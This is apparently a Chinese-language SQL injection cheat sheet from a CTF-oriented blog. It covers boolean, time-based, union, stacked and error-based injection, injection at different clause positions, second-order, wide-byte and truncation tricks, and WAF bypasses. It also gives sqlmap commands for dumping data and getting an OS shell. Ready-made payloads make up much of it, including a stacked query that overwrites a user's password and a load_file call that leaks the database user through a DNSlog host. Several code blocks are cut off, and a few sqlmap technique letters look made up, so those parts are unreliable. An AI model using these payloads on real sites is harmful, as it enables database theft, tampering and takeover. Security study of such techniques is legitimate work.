前言
本节记录了一些sql注入实践方法和测试思路
注释符的使用
使用#号(php注释)
有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#,将#号改成url的编码%23就可以了使用–+
这里发现+号在语句中变成了空格(在传输过程中空格会被忽略)。用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,–直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。所以在注入时我们除了使用–+外,也可以使用–’来完成sql注入语句
攻击手法
基于布尔的盲注
因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
1 | 1.判断数据库的类型 |
基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。
如:
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+
?id=1' and if(ascii(substr(database(),2,1))= 101,(select benchmark(4999999,md5('test'))),0) --+
联合查询注入
所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以每个 SELECT 语句必须有相同数量的列、且各列的数据类型(mysql除外)也都相同,列名可以不同。同时,每个 SELECT 语句中的列的顺序必须相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的列名和值都是我们输入的数组
1 | id=1' order by 3 --+ #判断字段数 |
堆叠注入
使用mysqli_query和mysql_query方法每次调用只能执行一条SQL命令。使用 mysqli_multi_query()方法可以一次执行多条SQL命令,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,这个想法也就造就了堆叠注入。union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
如:
1 | id=1';update users set password='123456' where id=1; --+ |
基于错误信息的注入
报错注入其实是一种公式化的注入方法,主要用于在页面中使用了**echo mysql_error();**输出了错误信息时使用。
1 | 1.floor()和rand() |
注入示例
注入点本节将从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧。
SELECT注入
SELECT语句用于数据表记录的查询,常在界面展示的过程使用,如新闻的内容、界面的展示等。SELECT语句的语法如下:select select_expr from table where id=1
注入点在select_expr
时间盲注
结果显示到界面中select(select pwd from wp_user) as title from blue_news where id=1
注入点在table
结果显示到界面中select title from (select pwd as title from wp_user)x
。
在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号
注入点在WHERE或HAVING后
这种情况是现实中最常遇到的情况,攻击手法基本都有可能用上,要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。注入点在HAVING后的情况与之相似。
注入点在GROUP BY或ORDER BY后
时间盲注,select title from news group by id desc,(if(1,sleep(1),1))
爆错注入,select * from test order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
布尔盲注,select * from test order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='r') THEN 1 ELSE 0x28 END);
注入点在limit后
报错注入,select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
下列payload要求 mysql<=5.6.6
时间盲注, select * from tdb_goods limit 0,1 union select 1,if(length(user())=14,sleep(5),1),3,4,5,6,7
联合查询注入,select * from tdb_goods limit 0,2 union select 1,2,3,4,5,6,7
INSERT注入
INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现。通常,注入位于字段名或者字段值的地方,且没有回显信息。INSERT INTO table_name VALUES( value1, value2,...valueN );
注入点位于tbl_name
更改数据,insert into wp_user values(2,'newadmin','newpass')%23 values(2,2,2,2)
注入点位于VALUES
结果显示到界面insert info wp_user values(1,1,'1'),(2,1,(select pwd from wp_user limit 1))
如果没有回显位可以尝试报错注入INSERT INTO test (test) value ((extractvalue(1,concat(0x7e,(select user()),0x7e))));
UPDATE注入
更改数据update wp_user set id=3,user='xxx' were user = '123'
,添加值3,user=’xxx’
延时注入UPDATE test SET content=if(substring(user(),1,1)='r',sleep(5),1) WHERE id=1;
其他注入示例
二次注入
二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤:
UPDATE插入恶意数据(发布帖子,注册修改账号),用mysql_escape_string()函数或addslashes()函数对恶意字符进行转义,但是再将数据写入数据库中的时候又保留了原来的数据.
引用插入的恶意数据:在进行查询时,直接从数据库中引用恶意数据,没有做进一步过滤和检验.
即只对用户的输入进行了转义,但在后续数据库操作时直接调用了转义后的内容
1 | * 在注册时对数据转义,但在登陆查询时直接调用 |
截断注入
MySQL5.6默认的sql_mode模式是NO_ENGINE_SUBSTITUTION,其实表示的是一个空值,相当于没有什么模式设置,可以理解为宽松模式。
MySQL5.7默认的sql_mode模式是STRICT_TRANS_TABLES,也就是严格模式。
默认情况下,mysql选择使用的是严格模式,此时如果插入的数据超过限制长度,则会报错error(如果超出的长度是由空格引起的,可能只会警告warning,实际操作证明,三种模式下,如果插入的超出长度是由空格引起的,并不会报错,仅仅会警告
而mysql查询条件中尾部带有空格会被忽略,头部带有空格不会被忽略,可以注册
我们可以利用截断构造任意账号
但是php中常用的mysql_fetch_array
只能从结果集中取得一行作为关联数组
只有在特定情况下才能利用,如$sql = "select count(*) from users where username='admin' and password='*******;
宽字节注入
addslashes会对单引号(’),双引号(”),反斜杠(\),NULL,进行转义
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两字节
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
1 | 输入 %df' |
DNSlog外带注入(secure_file_priv 不能为 NULL,只能win下使用)
UNC(Universal Naming Convention)路径是一种网络路径表示方式,用于访问共享的文件夹和资源。在 Windows 中,UNC 路径的格式通常是:\服务器名\共享名\路径。
例如:
\ServerName\SharedFolder\Documents
\192.168.1.10\Public\Reports
1 | select load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx')) |
无列名注入
information_schema数据库是mysql中的信息数据库,它保存着mysql所有其他数据库的信息,包括了数据库名,表名,字段名等,但是如果waf过滤了information_schema
1 | mysql> select 1,2,3 union select 'a','x','c'; |
payload:
1 |
|
利用uoion和as自定义列名
1 | mysql> select a.3 from (select 1,2,3 union select * from users) as a; |
利用加括号逐位比较大小
例题Ezsqli
(select 其他列,’猜测的数据’) > (select * from users limit 1)
当比较查询数据大小时,会从第一位开始比较,若第一位相等,则比较下一位,若比较完全相等,则会依序比较下一列
1 | import requests |
Quinesql登录绕过
1 | $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; |
1 | 注入的payload |
WAF 绕过
特殊符号绕过
绕过空格的几种方法
1 | %09 tab键 %0a 新建一行 %0c 新的一页 |
引号绕过
1 | select a from yz where b=0x32; |
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。
1 | --对于substr()和mid()这两个方法可以使用from to的方式来解决: |
等号绕过
1 | --sql中 <> 含义与 != 相似 |
绕过比较符号
greatest()、least()
between注入
关键字绕过
大小写
内联注释
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行,如?id=1' union /*!select*/ 1,2
双写绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。参数污染
更改表名列名
一般用于堆叠注入,select and 后只能是=<>*
经过探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
1 | --修改表名(将表名user改为users) |
SQLMAP的使用
手动注入费时费力,我们可以通过工具来提高效率,但使用工具的前提是我们发现了漏洞.
- 系统命令
-h 显示基本帮助信息
-hh 显示高级帮助信息
-version 显示版本号
-v 详细等级(0-6 默认 1)
0:只显示python错误以及重要信息
1:显示信息以及警告
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头
6:显示http响应内容
- Target
-u 指定目标url
-d 直接连接数据库
-m 将目标地址保存在文件中,一行为一个URL地址进行批量检测
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 从google dork的结果作为目标url
-c 从INI配置文件中加载选项
- 常规漏洞挖掘
sqlmap.py -u url –is-dba :判断当前用户是否有管理员权限
sqlmap.py -u url –roles :列出数据库所有管理员角色
sqlmap.py -u url –dbs : 列出所有数据库
sqlmap.py -u url –current-db :查看当前数据库
sqlmap.py -u url -D 库名 –tables :爆表
sqlmap.py -u url -D 库名 -T 表名 –columns :爆字段
sqlmap.py -u url -D 库名 -T 表名 -C 字段名1,字段名2 –dump :爆数据
- HTTP请求方式
- POST 参数:–data (以“&”作为分隔符)
- cookie 参数:–cookie (cookie默认的分隔符为“;”)
当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞 - User-Agent 参数:–user-agent和–random-agent
当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞 - Host 参数:–host
当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞 - Referer 参数:–referer
当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞
–proxy= 使用代理(可配合burp跑https)
–delay= 设置延迟时间(两个请求之间)
–common-tables 暴力破解表
–common-colomns 暴力破解列
–threads= 使用多少线程
–batch 选择默认选项
也可以用文件的方式(更简洁) sqlmap.py -r c:\1.txt -p username –dbs
- 指定注入类型
要指定注入方式,可以在使用sqlmap时使用–technique参数。该参数可以接受以下注入方式的值:
–technique=X
B: 布尔型注入
E: 错误型注入
U: 基于联合查询的注入
T: 基于时间延迟的注入
S: 基于堆栈查询的注入
Q: 基于二次查询的注入
X: 基于盲注的注入(无回显)
F: 文件型注入
D: 基于DNS的注入
H: 基于HTTP头的注入
R: 基于重叠查询的注入
C: 基于信用卡号的注入
- 提权命令
–file-read= 下载文件
–sql-shell 获取一个 sql 的 shell 用来执行 sql 语句
–os-shell 获取一个系统的 shell 用来执行 os 的命令
在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。
在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建
配合本地网站
比如受害者网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用时,除了使用tamper脚本,也可以在本地利用phpstudy搭建一个网站,并写文件zz.php
1 |
|
然后利用sqlmap访问自己搭建的网站,从而实现中转注入
sqlmap跑https网站
使用burpsuite的证书
使用–proxy参数
burp 开启代理监听端口
监听的ip为现在使用的网卡的ip,端口输入如8081
使用本地网站
1 |
|